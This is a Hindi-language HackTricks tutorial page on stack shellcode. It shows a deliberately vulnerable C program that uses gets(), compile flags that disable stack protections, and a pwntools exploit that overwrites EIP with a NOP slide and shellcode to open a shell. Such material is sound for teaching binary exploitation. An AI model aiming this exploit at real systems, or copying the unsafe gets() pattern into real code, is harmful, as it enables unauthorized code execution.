10 KiB
स्टैक शेलकोड
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह और हमें ट्विटर 🐦 @hacktricks_live** पर फॉलो** करें।
- हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके HackTricks और HackTricks Cloud github रेपो में।
मूल जानकारी
स्टैक शेलकोड एक तकनीक है जो बाइनरी उत्पीड़न में प्रयोग की जाती है जहाँ एक हमलावर एक वंलरबल प्रोग्राम के स्टैक में शेलकोड लिखता है और फिर इंस्ट्रक्शन पॉइंटर (IP) या एक्सटेंडेड इंस्ट्रक्शन पॉइंटर (EIP) को इस शेलकोड के स्थान पर पॉइंट करने के लिए संशोधित करता है, जिससे यह निषेधाज्ञा प्राप्त करने या लक्षित सिस्टम पर विचारहीन कमांडों को निष्पादित करने के लिए उपयोग किया जाता है। यह एक क्लासिक विधि है जो अनधिकृत पहुंच या लक्षित सिस्टम पर अर्बिट्रे कमांडों को निष्पादित करने के लिए प्रयोग की जाती है। यहाँ प्रक्रिया का विस्तार है, जिसमें एक सरल सी उदाहरण और आप कैसे pwntools का उपयोग करके पायथन का उपयुक्त शिकार करने के लिए एक संबंधित उत्पीड़न लिख सकते हैं।
सी उदाहरण: एक वंलरबल प्रोग्राम
चलो एक वंलरबल सी प्रोग्राम का एक सरल उदाहरण देखें:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
यह प्रोग्राम gets()
फ़ंक्शन का उपयोग करने के कारण एक बफर ओवरफ़्लो के लिए वंर्नरबल है।
Compilation
इस प्रोग्राम को कंपाइल करने के लिए विभिन्न सुरक्षा सुरक्षा को अक्षम करते हुए (एक वंर्नरबल वातावरण की अनुकरण के लिए), आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: स्टैक सुरक्षा को अक्षम करता है।-z execstack
: स्टैक को क्रियाशील बनाता है, जो स्टैक पर संग्रहीत शेलकोड को निष्पादित करने के लिए आवश्यक है।-no-pie
: पोजीशन इंडिपेंडेंट एक्जीक्यूटेबल को अक्षम करता है, जिससे हमारे शेलकोड का स्थान जिसमें होगा उसकी स्मृति पता लगाना आसान हो जाता है।-m32
: कार्यक्रम को 32-बिट एक्जीक्यूटेबल के रूप में कंपाइल करता है, अक्सर उत्पीडन विकास में सरलता के लिए उपयोग किया जाता है।
Pwntools का उपयोग करके Python एक्सप्लॉइट
यहाँ एक उदाहरण है कि आप pwntools का उपयोग करके Python में एक एक्सप्लॉइट कैसे लिख सकते हैं जो एक ret2shellcode हमला करने के लिए है:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
यह स्क्रिप्ट एक NOP स्लाइड, शेलकोड, और फिर EIP को NOP स्लाइड पर पहुंचाने वाले पते के साथ ओवरराइट करता है, जिससे शेलकोड को निष्पादित किया जाता है।
NOP स्लाइड (asm('nop')
) का उपयोग इसकी सुनिश्चित करने के लिए किया जाता है कि निष्पादन हमारे शेलकोड में "स्लाइड" होगा चाहे वास्तविक पते कुछ भी हो। p32()
तार्किक को अपने बफर के प्रारंभ पते पर एक ऑफसेट के साथ समायोजित करें ताकि NOP स्लाइड में लैंड हो सके।
सुरक्षा
- ASLR को निष्क्रिय कर देना चाहिए ताकि पता सभी निष्पादनों के लिए स्थायी हो या फ़ंक्शन को स्थानिय रूप से कहां स्टोर किया जाएगा वह हमेशा समान नहीं होगा और आपको कुछ लीक की आवश्यकता होगी ताकि पता चले कि जीत फ़ंक्शन को कहां लोड किया गया है।
- स्टैक कैनेरीज़ भी निष्क्रिय कर देना चाहिए अन्यथा कंप्रोमाइज़्ड EIP वापसी पता कभी भी अनुसरण नहीं करेगा।
- NX स्टैक सुरक्षा शेलकोड के निष्पादन को स्टैक के अंदर निष्पादित करने से रोकेगा क्योंकि उस क्षेत्र को क्रियाशील नहीं किया जाएगा।
अन्य उदाहरण और संदर्भ
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64 बिट, ASLR के साथ स्टैक पते का लीक, शेलकोड लिखें और उस पर जाएं
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 बिट, ASLR के साथ स्टैक लीक, शेलकोड लिखें और उस पर जाएं
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 बिट, ASLR के साथ स्टैक लीक, बाहर निकलने के लिए कॉल को रोकने की तुलना, मान के साथ ओवरराइट करें और शेलकोड लिखें और उस पर जाएं